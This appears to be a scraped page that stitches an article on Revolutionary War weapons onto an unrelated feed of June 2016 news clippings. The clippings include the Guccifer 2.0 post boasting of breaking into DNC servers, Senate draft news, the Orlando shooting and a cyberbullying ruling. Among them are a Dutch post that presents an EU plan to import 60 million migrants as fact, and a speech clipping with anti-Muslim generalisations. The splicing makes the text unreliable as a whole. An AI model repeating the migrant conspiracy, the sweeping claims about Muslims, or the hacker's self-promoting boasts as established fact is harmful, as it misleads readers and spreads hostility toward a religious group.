The infantryman carried about 60 pounds of equipment. The musket weighed 14 pounds. Add to that the bayonet, cartridge pouch, water bottle, knapsack, 60 rounds of ammunition. Each soldier was a mobile storehouse of revolutionary war weapons.
The Continental Marine Corps served aboard American ships of the line or armed merchant vessels. When their services were required, either in defense or as boarding parties, close quarters dictated the character of the weapon. They used a shorter British or French musket, a carbine, that was specially fitted with brass and with a tin barrel and lock, to prevent sea and salt corrosion.
The infantry regiment was the prevalent fighting force in both armies. We noted the diversity in the rifle/musket dependent on venue and terrain (land, sea,region). The grenadiers, also infantrymen, had special functions. They were usually chosen for size and strength with the intention to intimidate the enemy. One of their duties was throwing a hollow metal ball with a lit fuse connected to an interior powder charge. Shades of grenade technology to come.
The British infantry sword worn, depending on the regiment, was known as the ''Infantry Hanger''. It was forged with either a straight or slightly curved blade and was shorter than the cavalry sword. The infantry companies equipped with these weapons were an alternative to the bayonet. The Hessian sword was similarly constructed.
Officers in both armies, and the cavalrymen, carried the highly inaccurate flint lock pistol in addition to their swords. Infantry officers used a lighter version with a straight blade which required training in the techniques of thrust and parry. The heavier, longer curved saber was constructed for slashing from horseback as was the shorter, single edged cutlass utilized by boarding parties in naval engagements. "Boarders away" was a call for hand to hand battle on the enemy vessel. The quality of British steel was considerably better than that forged by the Americans.
The incidental instruments of war were more personal than the gun. It required face to face interaction with the enemy. If the definition suggested is accurate, the bayonet, ax and tomahawk were highly personal. The latter was almost 2 foot long, and its head could run well over a pound. The boarding ax was also a formidable weapon.
Revolutionary War CannonDomestic, Imported & CapturedRevolutionary War WeaponsIn 1775, the colonies had a dearth of foundries. Some small mills existed and none were forging cannon. The Continental Congress understood that their military position was untenable without big field guns, and small mill owners were pressed to forge steel to manufacture cannon. Bronze was also used but proved to be weaker than steel. The stronger steel produced greater range. It helped when the foundry was in close proximity to iron mines. Cannon was the optimum ordnance of Revolutionary War weapons.
Primitive Hopewell Equipment
Producing Revolutionary War Weapons
In the years that followed the opening shots in Massachusetts, they received help from their French ally whose mature metal industries produced heavy guns. Some domestic mills began to produce on an increasingly larger scale. Paul Revere, famed for his warning ride as his art as a silversmith, operated one such mill. In order for the American forces to be competitive with the British, foundries sought to fill artillery requirements with more field guns without the ornamental ostentation of the English guns.
Cannon - 3 pounder to 42 pounder - - description based on the weight of the shot with ranges up to 2 miles.
Howitzer fired solid or grape shot at high angles-- range over 2,000 yards.
Mortar fired at highest angles --range of 1300 yards.
Metal balls and grape shot had a one mile plus range capable of inflicting death.
The Continental Army was innovating. The mobility of the big guns, heretofore, required fix emplacements on the battlefield or behind fortified walls. The new American army had found methods to build lighter gun carriages. Cannon could then be rapidly moved as fortunes on the field dictated.
In June 1775, General Washington arrived at Boston to direct the siege of the city to eject the British forces. On inspection rounds, he was impressed with siege lines engineered by a young officer, Henry Knox. Subsequently, Knox presented a plan to recover and move the big guns from Fort Ticonderoga which had recently been captured by militias led by Ethan Allen and Benedict Arnold. After some opinions to the contrary, Washington gave the green light to attempt to move large weapons over rough terrain in the deadly northern winter. Knox left in December prepared to meet heavy snows and ice on the shores of Lake Champlain in upper New York. He built sleds to transport the heavy loads over frozen rivers, snow underfoot and over mountainous terrain. He returned to Boston in six weeks with 78 cannon, 2 howitzers, 8 mortars, thousands of cannon balls, 18,000 pounds of musket balls, and 30,000 flints. When these weapons were implaced on the Dorchester heights in Cambridge overlooking Boston, the British commander, Lt. General Howe, reportedly was stunned at the sight. He ordered his forces to abandon Boston and left a goodbye gift, a trove of British cannon. The victorious American siege of Boston had ended on March 17, 1776
Two years later (March 2, 1778), the American Commodore Hopkins sailed into a British stronghold in Nassau, Bahamas. He forced the surrender of two forts. He seized 78 cannons, 15 mortars, 16,000 shells and balls, 20 barrels of gun powder. The high seas became a store house for American war resources
A new nation was being built on the spoils of war, but that could not take the place of a reliable supply chain. By 1781, General Washington was thoroughly frustrated with empty arsenals, and hat in hand, having to request supplies from the several states instead of already in the hands of his quartermaster. Fortunately supplies to the British enemy also had bumps. In addition to the interruption caused by an active Continental navy, the strategies planned in London were widely wrong on the supply side. Possibly cost may have influenced their decisions. In any event, the needs of their army in America were constantly underestimated.
A Visual History of Arms and Armor. American edition. New York. Dorling Kindersley. 2006American Military History. John Whiteclay Chambers II (ed) New York. Oxford Press.1999.Instructions to Settlers in 1607, University of Gronigen
Kings Forge and Muzzle Loading.
Middlesex Village Trading Companie
The British Are Coming. National Archive
Ferling,John. Almost a Miracle. New York. Oxford University Press, Inc. 2007Phillips, Charles & Axelrod, Alan.Encyclopedia of Wars. Vol. A-F. Zenda. 2005.Washington, George, The Diaries of George Washington, ed. John C. Fitzpatrick.4Vols. (Boston 1925).
Return from Revolutionary War Weapons
Guccifer 2.0 DNC's servers hacked by a lone hacker '' GUCCIFER 2.0
Thu, 16 Jun 2016 00:49
Worldwide known cyber security company CrowdStrike announced that the Democratic National Committee (DNC) servers had been hacked by ''sophisticated'' hacker groups.
I'm very pleased the company appreciated my skills so highly))) But in fact, it was easy, very easy.
Guccifer may have been the first one who penetrated Hillary Clinton's and other Democrats' mail servers. But he certainly wasn't the last. No wonder any other hacker could easily get access to the DNC's servers.
Shame on CrowdStrike: Do you think I've been in the DNC's networks for almost a year and saved only 2 documents? Do you really believe it?
Here are just a few docs from many thousands I extracted when hacking into DNC's network.
They mentioned a leaked database on Donald Trump. Did they mean this one?
Some hundred sheets! This's a serious case, isn't it?
And it's just a tiny part of all docs I downloaded from the Democrats networks.
DNC chairwoman Debbie Wasserman Schultz said no financial documents were compromised. Nonsense! Just look through the Democratic Party lists of donors!
This one
Another one
And another one
They say there were no secret docs! Lies again! Here is a secret document from Hillary's PC she worked with as the Secretary of State.
Here are other docs:
2016 GOP presidential candidates
HRC election plans
2.19.16 Friends of HRC List_HFA16 Giving History
4.16 Commitment Sheet_040416 Update
7.1.15 Commitment Sheet
The main part of the papers, thousands of files and mails, I gave to Wikileaks. They will publish them soon.
I guess CrowdStrike customers should think twice about company's competence.
Fuck the Illuminati and their conspiracies!!!!!!!!! Fuck CrowdStrike!!!!!!!!!
Senate approves women registering for the draft | KIRO-TV
Thu, 16 Jun 2016 00:48
Updated: Jun 15, 2016 - 2:32 PM
Photo: AP file WASHINGTON (AP) '-- The Senate has defied a White House veto threat and voted decisively to approve a defense policy bill that authorizes $602 billion in military spending.
The bill passed Tuesday by a vote of 85 to 13.
President Barack Obama objects to numerous provisions in the legislation, including a prohibition on shuttering the prison at Guantanamo Bay, Cuba. Closing the facility would fulfill one of Obama's campaign promises.
The White House also is opposed to language in the bill that would limit the size of the president's National Security Council staff and rejects the Pentagon's request for a new round of military base closings.
The bill requires young women to register for a military draft. The mandate has angered social conservatives, who fear the mandate is another step toward blurring gender lines.
(C) {YYYY} Cox Media Group.
BETRAPT! E.U. WIL 60 MILJOEN MIGRANTEN NAAR EUROPA HALEN V''R 2050 | Euro-referendum Nederland
Thu, 16 Jun 2016 00:29
Lees goed mensen! Dit is ''The Smoking Gun'' wat de migratie betreft. De Europese Unie wil helemaal geen (illegale) migratiestop. Ze zijn al sinds 2008 van plan om ongeveer 60 miljoen mensen uit onder andere derde wereldlanden op te nemen v""r 2050 om zogenaamde redenen als 'vergrijzing.' In het rapport van het Europese Parlement (zie links beneden dit artikel) staat ook duidelijk omschreven hoe ze van illegale mensen legalen willen maken. Dit allemaal in het belang van ''internationale mobiliteit'' of met andere woorden: het opdringen van globalisme en open grenzen om zo nationale identiteiten en grenzen af te breken. De Europese Unie is er dus DOELBEWUST op gericht om steeds meer macht te centraliseren door onder andere de immigratiepolitiek over te nemen en alle E.U. lidstaten demografisch te veranderen zodat er 'geen weg meer terug is naar nationale identiteit.' Dit verklaart ook de hoge aantallen AZC's en de manier waarop deze allemaal letterlijk door de strotten van de mensen worden geduwd. We hebben het hier dus over het opzettelijk vernietigen van natie-staten onder het mom van 'immigratiebeleid.' Het opnemen van miljoenen illegale migranten, die vervolgens worden omgetoverd als 'vluchtelingen,' stond dus al jarenlang gepland en die plan zal dus gewoon doorrollen.
Wat verder opvalt is de manier waarop zij de massa immigratie aan het Europese volk willen opdringen. Dat staat onder meer onder het hoofdstuk 'Integratie.'
Vind ik leuk:LikeLaden'...
Saudi prince's investment firm increases Twitter stake | Technology | The Guardian
Thu, 16 Jun 2016 00:12
Saudi billionaire Prince Alwaleed bin Talal personally has a 4.45% stake in Twitter. Photograph: Fayez Nureldine/AFP/Getty Images
Saudi billionaire Prince Alwaleed bin Talal and his investment firm now own more than 5% of Twitter, his office has said.
Kingdom Holding has paid $50m (£33m) to double its stake in the microblogging site to 0.72%, the Riyadh-based company said in a separate bourse statement on Wednesday.
The prince personally has a 4.45% stake in Twitter, according to Reuters' calculations. The statement from his office did not say whether that had changed.
The Saudi billionaire and Kingdom Holding first invested $300m in Twitter in 2011. Prince Alwaleed owns 95% of Kingdom Holding.
Twitter listed on the New York stock exchange in November 2013. Its market capitalisation is $18.7bn, according to Reuters data.
Milo Yiannopoulos Slams Twitter For 'Being Sharia-Compliant'|HeatSt
Thu, 16 Jun 2016 00:11
By Tom Teodorczuk|5:02 pm, June 15, 2016
Milo Yiannopoulos has hit out at Twitter after they suspended his account earlier today, accusing the social networking service of being ''Sharia-compliant'' and in financial freefall.
In a press conference at Ground Zero Orlando, delivering a truncated speech following Sunday's mass shooting '-- one he was supposed to give on Muslims and gays at the University of Central Florida (UCF), which was canceled by campus police '-- Yiannopoulos said Muslim campaigners were responsible for him briefly thrown off Twitter this morning.
Milo told a lively crowd that influential news aggregation site The Drudge Report linking to Heat Street's article on him directly resulted in him being re-instated on Twitter. He said: ''My Twitter account was suspended as a result of a campaign by Muslim tweeters. It has been re-instated because the Drudge Report put my picture on the front page with a gigantic headline- thank you Matt Drudge- saying 'Twitter tells Milo to go to hell!'
''It was Muslims who told me to go to hell and I'm glad to see that Twitter very quickly panicked and backtracked and reinstated my Twitter account today. If it goes down again, who knows?,'' he said.
front page
A photo posted by Milo Yiannopoulos (@milo.yiannopoulos) on Jun 15, 2016 at 10:45am PDT
Referencing Prince Alwaleed Bin Talal, Milo said: ''Twitter, whose largest investor is a Saudi, has become, to some degree, Sharia compliant in the last six-months. I think American universities are becoming Sharia-compliant too.''
Milo added: ''Conservatives haven't demonstrated a particular aptitude for social networks. There are conservatives who run tech companies but they tend to come in later when the company really needs someone who understands numbers. You're not going to change the politics of Silicon Valley.
''I don't have any realistic expectation that any social networking company or silicon valley start-up is going to discover a commitment to free speech or discover a commitment to fairness to conservative points of view. The best you can do is hold their feet to the fire when they f**k up and when they f**k up too much the stock price plummets and the company collapses which is what's happening with Twitter right now.''
Milo also slammed the decision of campus police to postpone his talk at UCF which was scheduled for Tuesday. He said: ''What they couldn't do is spare 6 or 8 officers to let a gay man say what the media won't tell you, say what politicians won't say, say what your celebrities are too f**king dumb to realize which is that this is not radical Islam, it is not terrorists forcing Obama to say radical Islam is only 25% of the war'...the rest of the battle is being honest about about the challenges you face in this country.''
Milo said the shooting in Orlando nightclub had made him support Donald Trump's proposed ban on Muslim immigration: ''After Orlando I'm all in favor.''
Talking about safe spaces, he said: ''Gun-free zones provide safe spaces for killers. The left likes to talk about safe spaces- well safe spaces for murderers are gun-free zones.''
Milo contrasted the left's attitude to Muslims versus socially conservative Christians: ''Stop listening to the left. Stop listening to people who say peace, love and understanding and pacifism is going to save you. It didn't save those people in the nightclub'...there is no competition between declining to bake a cake and taking to a nightclub and killing or hurting 100 people. It is offensive and ridiculous and I don't use the word 'offensive' very much but that is.''
Milo added: ''I'm here to give you a warning from Europe. I know what happens when governments and the media to pander to and to mollycoddle Islam. I know what happens to gay people, to trans people, to women and all the minorities the left claims that it is here to defend.
''The politicians do not have your back, the media do not have your back, people are not going to protect gays or women or blacks or Latinos or any other minority. You've got to do it for yourself.''
MoreTwitter Doesn't Have To Live by the First Amendment, But Milo Yiannopoulos Shows It ShouldMilo Yiannopoulos Has Been Suspended From TwitterPolice Cancel Milo Yiannopoulos' Orlando Speech on Muslims and Gays
TIMELINE-Orlando gunman had used gay dating app and visited LGBT nightclub on other occasions, witnesses say - LA Times
Thu, 16 Jun 2016 00:09
The gunman who attacked a Florida LGBT nightclub had attended the club before the attack and had used a gay dating and chat app, witnesses said.
Kevin West, a regular at Pulse nightclub, said Omar Mateen messaged him on and off for a year before the shooting using the gay chat and dating app Jack'd.
But they never met '' until early Sunday morning.
West was dropping off a friend at the club when he noticed Mateen '' whom he knew by sight but not by name '' crossing the street wearing a dark cap and carrying a black cellphone about 1 a.m., an hour before the shooting.
''He walked directly past me. I said, 'Hey,' and he turned and said, 'Hey,''' and nodded his head, West said. ''I could tell by the eyes.''
At least four regular customers of Pulse, the lesbian, gay, bisexual and transgender nightclub where the massacre took place, told the Orlando Sentinel on Monday that they believed they had seen Mateen there before.
"Sometimes he would go over in the corner and sit and drink by himself, and other times he would get so drunk he was loud and belligerent," said Ty Smith, who also uses the name Aries.
He saw Mateen at the club at least a dozen times, he said.
"We didn't really talk to him a lot, but I remember him saying things about his dad at times," Smith said. "He told us he had a wife and child."
As soon as West saw photos of Mateen released after the shooting, he said, he drove to his local police station, where officers summoned FBI officials, who showed him a photo of Mateen on a computer screen.
''I said, 'That's him,''' West said, and turned over his phone and Jack'd log-in information to the FBI, which still had the phone late Monday, he said.
Investigators are looking at reports that Mateen visited gay clubs and was using gay dating apps, a law enforcement official said. ''Watch that space,'' the official said.
Also Monday, officials said Mateen appeared to have been radicalized by Islamic extremists on the Internet but expressed sympathies with radical groups that violently oppose each other.
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On Sunday morning, Mateen told a 911 dispatcher that he was attacking Pulse on behalf of the leader of Islamic State, FBI Director James B. Comey said at a news conference Monday. Mateen, 29, of Fort Pierce, Fla., was killed by a SWAT team and was among the 50 found dead at the site. Fifty-three more were wounded.
But Mateen, who was born in New York, had also expressed solidarity with the 2013 Boston bombers and an American suicide bomber who belonged to an Al Qaeda affiliate in Syria opposed to Islamic State, Comey said.
The FBI previously investigated Mateen, a security guard, for 11 months for telling co-workers in 2013 that he had relatives connected to Al Qaeda, the Sunni Muslim extremist group, while claiming he was a member of Hezbollah, the Lebanese Shiite militia, Comey said. Both groups oppose Islamic State and each other.
The FBI also briefly investigated Mateen in 2014 on suspicion of watching videos by Al Qaeda propagandist Anwar Awlaki and for attending a mosque in Florida with a man who later became a suicide bomber for Al Nusra Front in Syria, which also opposes Islamic State. Both investigations were closed without an arrest. Comey defended his agents' work but said the agency would still conduct a review.
''We know that this killing is upsetting to all Americans. We hope that our fellow Americans will not let fear become disabling,'' Comey said. He added that fear ''is what these savages want.''
FBI agents scrambled Monday to recover data from Mateen's electronic media '-- cellphones, computers and other devices '-- hoping to find clues to what sparked the massacre at the nightclub, according to current and former FBI officials.
They have also obtained access to at least one email account, an official said, speaking on condition of anonymity to discuss the investigation. Nothing has come up yet suggesting ties to terrorist groups, but the official cautioned that the investigation was in its early stages.
No issues involving encrypted data -- a major stumbling block in the investigation into the San Bernardino attacks -- have emerged, the official said.
The FBI has obtained evidence that Mateen visited and perhaps scoped out Disney World in recent months, one U.S. law enforcement official said. The official said it was clear from the evidence that Mateen's visit involved more than tourism, but cautioned that agents may never learn fully whether he was casing Disney properties for a potential attack.
He also is believed to have visited other gay venues to check out as potential targets, the official said, speaking on condition of anonymity.
Many who had known Mateen continued to come forward, sharing recollections.
A high school acquaintance recalled that Mateen was a ''regular dude'' until the Sept. 11 terrorist attacks.
''He started acting crazy, joking around the fact that 9/11 happened, making plane noises on the school bus and pretending he was slamming into the building,'' said Robert Zirkle, who rode the school bus every day with Mateen in Stuart, Fla., 15 years ago.
''He was happy that Americans were dying. He made that very clear. I don't know if he was always a Muslim radical, but he was excited, hyped up. We were all, like, 'What are you talking about?''' Zirkle recalled.
Zirkle said he and other students warned Mateen that he needed to stop. ''We told him if he didn't stop making noises, we were going to beat him up.''
Zitkle, who now lives in Tennessee, was a freshman at Martin County High School at the time. Mateen, he said, attended Spectrum Alternative School, a separate public school.
''He was really out there,'' he said of Mateen. ''He had no friends. He had people who were cordial with him or would ask him how he was doing. Only a few people spoke to him. I was one of the few who would. He was a 'Seinfeld' kind of guy.''
The shooting dominated the presidential campaign Monday. Democrat Hillary Clinton called for stricter gun control and Republican Donald Trump called for tighter immigration rules.
The White House announced that President Obama would travel to Orlando on Thursday ''to pay his respects to victims' families and to stand in solidarity with the community.''
As of midday Monday, all but two of the 49 slain victims had been publicly identified after notification of their families. They were mostly Latino men.
''There was blood all over the street. You can see where people were dragged,'' said Patty Sheehan, Orlando's first openly gay city commissioner, pointing toward the building and grimacing.
This is the heart of her downtown district. Sheehan knows the owner of the club and a bartender who witnessed the shooting and described to her how it unfolded.
''When the police went in, they told people, 'Raise your hand if you're alive,' '' she said. ''Some of the living covered themselves with the dead.''
She and other officials have asked residents to hold off on staging a vigil until all the victims are identified.
''We will not be defined by the act of a cowardly hater,'' Orlando Mayor Buddy Dyer said. ''We will be defined by how we respond.''
Police responding to the nightclub attack had attempted to negotiate with Mateen for hours, Police Chief John Mina said, rescuing dozens of people and confronting the shooter only when he mentioned explosives and they believed ''further loss of life was imminent.''
Mina outlined the police response during a Monday briefing near the nightclub, flanked by Florida Gov. Rick Scott, Dyer, federal investigators and prosecutors.
The shooting was reported at 2:02 a.m. Sunday when an off-duty Orlando police officer at the club initially confronted Mateen near an entrance and the two engaged in a gun battle, Mina said.
When more police responded, additional officers entered the club and traded fire with the gunman.
"At that time we were able to save and rescue dozens and dozens of people and get them out of the club," Mina said.
Mateen holed up with four to five hostages in a bathroom, while 15 to 20 more people were trapped in another bathroom nearby, Mina said. That's when police backed off.
''Based on statements made by the suspect about explosives and an explosive vest, we did retreat,'' Mina said.
A team of negotiators arrived and began communicating with Mateen, who sounded ''cool and calm,'' Mina said.
Mina said negotiators didn't have much leverage with the gunman.
''He really wasn't asking for anything,'' the police chief said. ''We were doing the asking.''
Mina would not say whether Mateen appeared to be on a suicide mission. But police kept talking to him and shortly before 5 a.m., Mina said, ''that talk became a crisis for us.''
Officials decided to enter the building, Mina said, because, ''there was a timeline given [by Mateen] and we believed there was an imminent loss of life.''
Police made an ''explosive breach'' into the building, then used an armored BearCat vehicle to punch a hole about 2 square feet in the wall so that dozens could escape, Mina said.
Mateen also emerged from the hole, armed with a long gun and handgun, and confronted SWAT officers backed against a wall who returned fire, killing him, Mina said.
The police chief said Mateen did not shoot between the time he retreated to the bathroom and when police breached the building. Mina defended the decision to wait and attempt to negotiate with the shooter before police finally forced their way into the building.
Mina said he was confident no one was shot during the delay nor was shot by friendly fire.
"It was a hard decision to make,'' he said. ''We believe it was the right thing to do. We believe we saved many, many lives."
Mateen bought both of the guns used in the attack, and a third weapon was recovered from Mateen's car, said Regina Lombardo, a special agent with the Bureau of Alcohol, Tobacco, Firearms and Explosives. Officials would not identify the weapon found in the car or say whether any explosives were recovered from the scene.
Mateen bought his guns at the St. Lucie Shooting Center, owner Ed Henson told reporters in a televised news conference.
Henson said Mateen was ''familiar to me vaguely. I don't know him personally.'' He said Mateen had multiple security licenses for armed and unarmed security work, and passed a background check.
''He did not buy the handgun and the long gun at the same time; they were approximately a week apart,'' said Henson, who added that one of the sales came about a week to 10 days before the shooting.
''He's evil,'' Henson said, and the shooting was horrific. ''We happen to be the gun store he picked.''
President Obama said Monday that Mateen appeared to be ''inspired by various extremist information that was disseminated over the Internet'' but that investigators had found no evidence he was working with outside groups. Islamic State proclaimed him as a member of the group through a media affiliate after the shooting.
NEWSLETTER: Get the day's top headlines from Times Editor Davan Maharaj >>
FBI agents closed their 2013 investigation into Mateen after concluding that he didn't understand how Al Qaeda operated and had not committed a crime. He told investigators that he had been lying and blustering about his terrorist ties.
During the investigation, Mateen was placed on the FBI's terrorist screening database, an official said, speaking on condition of anonymity to discuss an investigation. The list serves as a clearinghouse for federal and state law enforcement agencies to share information and keep track of potential threats, but it does not bar a suspect from boarding a plane or purchasing a weapon.
Mateen was removed from that database after the bureau closed its investigation into him, an official said.
In 2014, agents again questioned Mateen after learning he had attended the same mosque as Moner Mohammad Abu-Salha, an American who later joined Islamic State and was killed in Syria.
The FBI ''determined that contact was minimal and did not constitute a substantive relationship or a threat at that time,'' Ronald Hopper, an FBI official, told reporters in Orlando.
Some who knew the gunman described him as a practicing Muslim who spewed homophobic and racist slurs. But it still wasn't clear Monday what motivated Mateen to attack the nightclub.
His father, Seddique Mateen, hosts a show on the satellite network Payam-e-Afghan TV about the national politics of his homeland. In new video posted on Facebook early Monday, he calls his son well-educated and respectful to his parents, saying that he was "not aware what complexities he had in his heart, and what caused him to go to this gay and lesbian club and shoot 50 people," he said in Dari, one of the two official languages of Afghanistan.
Seddique Mateen said he was saddened by his son's actions. But he added: "In this month of Ramadan, the gay and lesbian issue is something that God will punish," though "the servants of God shouldn't have anything to do with it."
At a news conference at his home Monday, Seddique Mateen said he still thinks of his only son as a "good boy'' but condemned his acts.
''I don't want any father to go through what we are going through," Mateen said, clasping his hands and occasionally bowing his head as he sat on an ornate floral sofa surrounded by cameras and microphones. ''I don't approve of what he did. What he did was completely an act of terrorism.''
Mateen, a U.S. citizen from Aghanistan, insisted on his love for and loyalty to his new homeland. ''The United States is the house that has always taken care of me, my family, all the people from my homeland.... I condemn what he did. I wish I didn't know that [is] what he was doing. If I could catch him, I would could ask him myself. The only thing I'll say is those people who lost their loved ones, they are my family. I apologize for what my son did, and I am as sad and as mad as you guys are. You are my family."
He said he'd had no inkling that his son might perform any kind of act of terrorism.
"If I did know of 1% that he's committing such a crime, my son, I would arrest him myself. I would have called the FBI. I would have called the local law enforcement."
Mustafa Abasin, Mateen's brother-in-law, stood in the doorway of his pastel pink, three-bedroom home in Port St. Lucie, a city close to Fort Pierce, about 125 miles south of Orlando, still struggling to make sense of what had happened.
''Omar was a very good guy,'' he said. ''You know, right now I feel that I'm grieving. I'm not awake. It's unbelievable. It wasn't him.''
On Sunday investigators swarmed Abasin's home, which was in Mateen's name, although he never lived there. When they informed him of his brother-in-law's actions, he said, he assumed there had been a misunderstanding.
''The only thing that popped in my mind was it was an accident,'' he said. ''Still, I can't believe it.''
When Abasin, a local insurance broker, last encountered Mateen at their local Islamic center on Friday, he seemed normal and chatted about family.
''We had the usual conversation,'' Abasin said. ''He was very respectful and polite. He said, ''Hello, how are you? How are the kids?" He loved my kids. I didn't see any emotions.''
He had never known his brother-in-law to talk about politics or violence, he said, and had not heard him express hostility toward gay people or African Americans.
''We feel sorry for those who lost their lives,'' he said. ''We feel sorry for families who lost their family members. We pray for them.''
Abasin was anxious about the effect of Mateen's actions on his family. Along with investigators, demonstrators showed up outside his home Sunday.
''We want to be living in peace,'' he said. ''We have small kids and are living in this neighborhood.''
He described Mateen's father as a responsible member of the community.
''He was involved in politics, but I don't think he agrees with extremism,'' Abasin said. ''He's not a fundamentalist."
Special correspondent Jarvie reported from Port St. Lucie. Times staff writers Hennessy-Fiske and Wilber reported from Orlando and Washington, respectively. Times staff writer Tracy Wilkinson contributed reporting from Orlando, and special correspondent Hashmat Baktash contributed from New York.
'An act of terror and an act of hate': The aftermath of America's worst mass shooting
Even after the Orlando massacre, the campaigning goes on as Trump and Clinton respond
'The LGBTQA community, they're like my soul mates': Adele pays tribute to Orlando shooting victims
10:56 p.m.: Updated with an interview with a former high school acquaintance of Mateen.
6:39 p.m.: This article has been updated with President Obama's plans to visit Orlando and more details on investigation.
6:09 p.m.: This article has been updated with law enforcement looking into reports that shooter used gay apps and visited gay club, and that he may have scouted sites associated with Disney World.
4:21 p.m: This article has been updated with gunman reportedly using gay dating app, visiting nightclub.
1:50 p.m.: This article has been updated throughout with new details on FBI investigation, political campaigns, gun purchase.
This article was originally posted at 5:54 a.m.
IRS 990 Filings on AWS
Wed, 15 Jun 2016 23:19
Machine-readable data from certain electronic 990 forms filed with the IRS from 2011 to present are available for anyone to use via Amazon S3.
Form 990 is the form used by the United States Internal Revenue Service to gather financial information about nonprofit organizations. Data for each 990 filing is provided in an XML file that contains structured information that represents the main 990 form, any filed forms and schedules, and other control information describing how the document was filed. Some non-disclosable information is not included in the files.
This data set includes Forms 990, 990-EZ and 990-PF which have been electronically filed with the IRS and is updated monthly in an XML format. The data can be used to perform research and analysis of organizations that have electronically filed Forms 990, 990-EZ and 990-PF. Forms 990-N (e-Postcard) are not available withing this data set. Forms 990-N can be viewed and downloaded from the IRS website.
Each electronic 990 filing is available as a unique XML file in the "irs-form-990" S3 bucket in the US East (N. Virginia) region. Schemas for electronic 990 filings are available on the IRS website. Each filing is named based on the year it was filed and a unique identifier. For example, we can tell that the filing named "201211889349300706_public.xml" was filed in 2012 because the file name starts with "2012." "11889349300706" is the unique identifier of the filing.
A file listing all of the available filings is available at s3://irs-form-990/index.json. This file includes basic information about each filing including the name of the filer, the Employer Identificiation Number (EIN) of the filer, the date of the filing, and the path to download the filing.
If you use the AWS Command Line Interface, you can list the filings from 2012, see how many filings are available, and calculate the total size of the filings with the "ls" command:
aws s3 ls s3://irs-form-990/2012 --human-readable --summarizeTo view listings from other years, simply change the year (2012) in the above command.
SourceU.S. Internal Revenue ServiceCategoryRegulatoryFormatxml, jsonLicenseNoneStorage ServiceAmazon S3Locations3://irs-form-990 in US East RegionUpdate FrequencyNew filings are added monthlyIf you would like to show us what you can do with IRS 990 Filings on AWS or would like to receive updates on the project, please fill out the form below.
Educators, researchers and students can also apply for free credits to take advantage of the utility computing platform offered by AWS, along with Public Datasets such as IRS 990 Filings on AWS. If you have a research project that could take advantage of IRS 990 Filings on AWS, you can apply for AWS Cloud Credits for Research.
disney princess | adoption | court hearing | little girl
Wed, 15 Jun 2016 23:18
''The look on her face was priceless.''
Every day needs a little happy, so here's a sweet story for you:
Five-year-old Danielle Koning received a special surprise at her adoption finalization hearing '-- a court room full of Disney Princesses (and Prince Charming). Even the judge disrobed, revealing a Snow White costume.
ABC News reports:
Danielle has been fostering with the Konings since March 2014 and the family was thrilled to complete the adoption princess, but it was her caseworker's idea to arrange for Cinderella, Sleeping Beauty, Elsa and Ariel, just to name a few, to arrive in support of the little girl's wonderful day.
''It was a special situation that really snowballed out of a request form Danielle's caseworker, who knew Danielle loved Cinderella so much,'' Laura Mitchell, executive director for Samaritas Foster Care Program and Child and Family services, explained. ''One of other caseworkers kind of looks like Cinderella, so she said, 'Would you mind going to the hearing and dressing as Cinderella?'''
The idea originated at a staff meeting and once other employees got word, they began stepping forward to participate.
Even Judge Patricia Gardner revealed a Snow White costume beneath her robe.
''I think it's really important to make that adoption day special for every kid in whatever capacity you can,'' said Koning. ''No matter what, if kids have been bounced around a lot, it really helps them to feel the permanency and know that they're not going anywhere now. It's really important for kids to feel that security.''
''It's obviously a very meaningful day, a joyous occasion,'' Mitchell added. ''The hearing is definitely a celebration that the kids now have forever families. And it shows the love and compassion that our case workers have.''
Congratulations to Danielle and the Koning family!
Follow Kemberlee on Twitter @kemberleekaye
Hate Map | Southern Poverty Law Center
Wed, 15 Jun 2016 23:17
Rise of Hate Groups
The SPLC has documented an explosive rise in the number of hate groups since the turn of the century, driven in part by anger over Latino immigration and demographic projections showing that whites will no longer hold majority status in the country by around 2040. As the chart shows, this rise accelerated in 2009, the year President Obama took office, before leveling off and beginning to decline in 2011. Read about our most recent count in 2015, when the total number of groups increased for the first time in three years (download a PDF of the HateMap).
Increase in total number of hate groups up from 2014.
Total number of antigovernment 'patriot' groups in 2015.
Total number of Ku Klux Klan groups in 2015
Increase in total number of anti-Muslim hate groups up from 2014.
Court strikes down North Carolina's unconstitutional "go to jail for social-media gossip" law - Student Press Law Center
Wed, 15 Jun 2016 23:13
By Frank LoMonte | Published 06/13/16 8:33pmIn the grips of a nationwide panic that followed lurid media coverage of teen suicides linked to online bullying, legislators around the country stampeded to outlaw -- and at times even criminalize -- a vast range of "annoying" or "unwelcome" online speech.
North Carolina was in the lead of this lock-'em-up panic attack, and now its anti-bullying statute has been struck down as unconstitutionally overbroad.
In a unanimous opinion issued Friday, the North Carolina Supreme Court invalidated the state's 2009 cyberbullying statute, which made it a misdemeanor punishable by up to 120 days in jail to publish any "personal, private or sexual information" about a minor online with the intent to "intimidate or torment" the minor or the minor's family.
The case arose from the 2012 arrest and prosecution of a high school sophomore from Alamance County, who admitted to posting insults on a Facebook post about a classmate, including crude remarks speculating about the classmate's sexual habits.
The student, Robert Bishop, was convicted of violating the statute and sentenced to four years' probation. His attorneys challenged the conviction on the grounds that the statute violated the First Amendment.
Friday's opinion by Justice Robin E. Hudson reversed a 2015 ruling by the North Carolina Court of Appeals, which characterized the statute as a regulation only on "conduct" (that is, the act of posting) rather than on the content of speech.
The justices had no difficulty seeing through the Court of Appeals' strained attempt to salvage the statute:
Posting information on the Internet'--whatever the subject matter'--can constitute speech as surely as stapling flyers to bulletin boards or distributing pamphlets to passersby'--activities long protected by the First Amendment. ... Such communication does not lose protection merely because it involves the ''act'' of posting information online, for much speech requires an ''act'' of some variety'-- whether putting ink to paper or paint to canvas, or hoisting a picket sign, or donning a message-bearing jacket.
Although the justices deemed the state's interest in protecting the safety of children to be a "compelling" one, the law flunked First Amendment scrutiny because it was not the "least restrictive means" of accomplishing that objective.
The statute's fatal flaw was its use of undefined terms ("intimidate," "torment," "personal," "private") that invited prosecution of teasing, jokes and gossip, even without proof that the targeted person was harmed by -- or even aware of -- the speech.
The protection of minors' mental well-being may be a compelling governmental interest, but it is hardly clear that teenagers require protection via the criminal law from online annoyance.
The North Carolina opinion is the second in two years striking down an anti-bullying statute for criminalizing speech that is merely aggravating or irritating. In 2014, New York's highest court reached the same conclusion in granting the appeal of a 17-year-old prosecuted for posting sexual gossip about his schoolmates on Facebook.
